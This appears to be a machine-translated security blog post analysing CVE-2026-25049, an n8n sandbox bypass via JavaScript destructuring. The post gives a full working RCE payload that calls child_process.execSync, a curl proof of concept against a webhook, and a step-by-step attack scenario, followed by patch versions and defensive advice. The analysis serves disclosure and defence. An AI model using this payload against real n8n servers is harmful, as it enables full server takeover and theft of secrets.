In-depth Analysis of N8N RCE Vulnerability (CVE-2026-25049): Sandbox Bypass Using JavaScript Destructuring Assignment
A detailed analysis of the cause and exploit code of the CVE-2026-25049 vulnerability, which disabled n8n's five layers of security with a single line of JavaScript syntax (Destructuring).
This post was machine-translated from Korean by AI. Some expressions may differ from the original.
Read the original (Korean)A critical Remote Code Execution (RCE) vulnerability (CVE-2026-25049) has recently been discovered in n8n, a workflow automation platform. With a CVSS score of 9.4 (Critical), this vulnerability allows unauthenticated attackers to completely control the server through a publicly exposed Webhook.
In particular, this vulnerability is technically very interesting because it bypassed 5 layers of security built into n8n, including regular expression, AST inspection, and runtime validation, by exploiting the grammatical characteristics of JavaScript's Destructuring Assignment.
In this article, we will analyze how this vulnerability occurred at the code level and examine the attack principle through a Proof of Concept (PoC).
1. Background: n8n's Sandbox Defense System
n8n provides a feature that allows users to process data using JavaScript expressions. For example, expressions like {{ $json.name }} are executed internally in a way similar to eval() or the Function constructor.
Naturally, this is a security risk, so n8n has built the following multiple barriers:
- Regex Check: Blocks strings containing dangerous keywords such as
.constructor - AST Sanitizer: Analyzes the structure (AST) of the code to block dangerous nodes (e.g., MemberExpression)
- Runtime Validator: Checks object property access at runtime
- Function Sanitizer: Binds the
thiscontext to an empty object in regular functions - Property Removal: Removes dangerous global objects such as
evalandFunction
The defense system seems perfect at first glance. However, all these barriers were built on the false assumption that "object property access is only done through dot (.) or square brackets ([])".
2. Cause of Vulnerability: Destructuring
In JavaScript, there are two main ways to get the properties of an object.
A. Traditional Method (Blocked)
obj.constructor // Dot notation
obj['constructor'] // Bracket notationThese methods are parsed as MemberExpression nodes in the AST (Abstract Syntax Tree). n8n's AST Sanitizer was monitoring this node, and the regular expression filter also caught the .constructor pattern.
B. Destructuring Assignment (Successful Bypass)
const { constructor } = obj;This is the destructuring assignment syntax introduced in ES6. This code is parsed as an ObjectPattern within a VariableDeclaration in the AST.
The problem is that n8n's security logic only checked MemberExpression and did not check ObjectPattern. In addition, the .constructor pattern did not appear in the source code text, so it was also possible to bypass the regular expression filter.
3. Exploit Chain Analysis
Simply getting the constructor is not enough. The attacker must use it to execute arbitrary code. The entire exploit chain is as follows:
Step 1: Secure this with an Arrow Function
n8n sandboxes regular functions (function() {}) by forcibly binding their this to an empty object. However, arrow functions (() => {}) do not have their own this binding and use the this of the upper scope (Lexical Scope) as is.
(() => {
// 샌드박스 처리되지 않은 원본 'this' 또는 문맥에 접근 가능
})()Step 2: Obtain Function Constructor via Destructuring
Inside the arrow function, retrieve the constructor of an empty function through destructuring assignment. In JavaScript, the constructor of all functions is the Function object. In other words, we are obtaining the Function constructor.
const { constructor } = () => {};
// constructor === FunctionStep 3: Arbitrary Code Execution
Using the acquired Function constructor, we create a function that can execute code as a string and immediately execute it.
constructor('return process.mainModule.require("child_process").execSync("id").toString()')()Final Payload
Combining all of this, the following single-line payload is completed.
={{(() => {
const {constructor} = ()=>{};
return constructor('return process.mainModule.require("child_process").execSync("id").toString()')();
})()}}4. PoC and Attack Scenario
This vulnerability is greatly amplified when combined with n8n's Webhook feature. This is because you can easily create Webhooks without authentication (Authentication: None) in n8n.
Attack Scenario
- An attacker connects to the n8n instance (or induces it through CSRF, etc.) to create a malicious workflow.
- Add a Webhook node and set the authentication to
None. - Insert the RCE payload above into the expression field of the node (Set, etc.) connected behind the Webhook.
- Activate the workflow.
- When a request is sent to the corresponding Webhook URL from the outside, the command is executed on the server.
Actual Test (PoC)
# Webhook으로 요청 전송
curl -X POST 'http://target-n8n-server.com/webhook/rce-demo' \
-H 'Content-Type: application/json' \
--data '{}'Response Result:
{
"result": "uid=0(root) gid=0(root) groups=0(root)\n"
}You can see that the server's id command is executed, indicating root privileges. The attacker can then perform any action, such as stealing environment variables (API Keys), installing backdoors, and penetrating the internal network.
5. Response and Patch
Patch Version
The n8n team confirmed this issue and immediately released a patch.
- Fixed Versions:
1.123.17,2.5.2or higher
Fundamental Solution
From a developer's perspective, this vulnerability shows the limitations of blacklist-based security. Because JavaScript is such a flexible language, there is always the possibility of bypassing by blocking only specific syntaxes (e.g., dot notation).
- Don't Rely on Regex: Code should be analyzed with a parser, not with regular expressions.
- Expand AST Coverage: You should check not only
MemberExpressionbut also all AST nodes that allow property access, such asObjectPattern. - Apply Allowlist: If possible, it is safer to use a whitelist method that allows access to only allowed properties.
Concluding Remarks
This CVE-2026-25049 is a textbook example of how the entire security can be broken down by a single logical blind spot (overlooking Destructuring), even with five layers of defense. If you are using n8n, please update to the latest version immediately.
Reference: SecureLayer7 Deep Dive
Comments